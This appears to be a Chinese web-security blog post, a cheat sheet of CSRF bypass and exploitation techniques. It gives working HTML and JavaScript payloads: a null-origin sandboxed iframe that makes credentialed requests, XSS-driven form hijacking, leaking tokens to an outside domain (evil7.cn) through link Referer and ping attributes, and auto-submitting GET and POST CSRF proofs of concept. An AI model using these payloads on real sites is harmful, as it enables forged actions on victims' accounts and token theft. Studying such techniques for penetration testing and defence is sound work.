CSRF的绕过与利用

Origin & Referer Bypass

Null值绕过

当遇到一个cors可用null值绕过时,用iframe配合data协议,就可以发送一个origin为null的请求。这个绕过方式同样也可以用在CSRF这里。

1
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe>

域名校验绕过

当域名校验不是特别严格时,可以通过以下几种方式进行绕过:

  • 在后面加域名 qq.com => qq.com.abc.com
  • 将域名拼接 abc.qq.com => abc_qq.com
  • 在前面或者在后面加字符 qq.com => abcqq.com / qq.com => qq.comabc.com / qq.com => abc.com/qq.com

配合XSS进行利用

当同源网站中存在一个xss漏洞时,就可以直接使用xss包含CSRF的payload进行利用。不仅可以绕过简单的Referer和Origin验证,还可以劫持表单与URL中的token进行利用。

获取表单中的token

当token存在于表单中时,可以配合XSS漏洞进行表单劫持进而让token的限制。

  • xss劫持页面中某个表单的提交

像这个就可以劫持user-edit表单的提交,点击即可提交form表单。

1
<input type="submit" form="user-edit" value="hijack">

这个就相当于劫持了user-edit表单然后进行提交

  • xss劫持页面表单并修改value
1
2
3
<input type="text" form="user-edit" name="notes" value="This is a test">
<input type="text" form="user-edit" name="secert" value="on">
<input type="submit" form="user-edit" value="hijack">

劫持user-edit表单,覆盖各表单的value,进行CSRF利用。

获取url参数中的token

1
2
<a href="https://evil7.cn">get_token</a>
<a href="https://xz.aliyun.com/" ping="https://evil7.cn">ping_leak</a>

参考:魔法才能打败魔法:关于获取csrf-token前端技巧思考

配合URL跳转漏洞

如果是GET形式的CSRF,配合URL跳转漏洞,即可Origin和Referer的限制。

X-Request-with Bypass

使用swf进行绕过:https://github.com/Qclover/CSRF

Token Bypass

  • 删除Token参数字段
  • 将Token参数值置空

CSRF POC 构造

GET - CSRF

1
<img src=http://xxxx.org/csrf.php?xx=11 />

POST - CSRF

可以直接使用Brupsuite生成CSRF POC,也可以自己构造

1
2
3
4
<form action=http://aaaaaa.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>

参考 & 备份

跨窗口通信 & localstorage => XSS CORS原理及利用整理
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×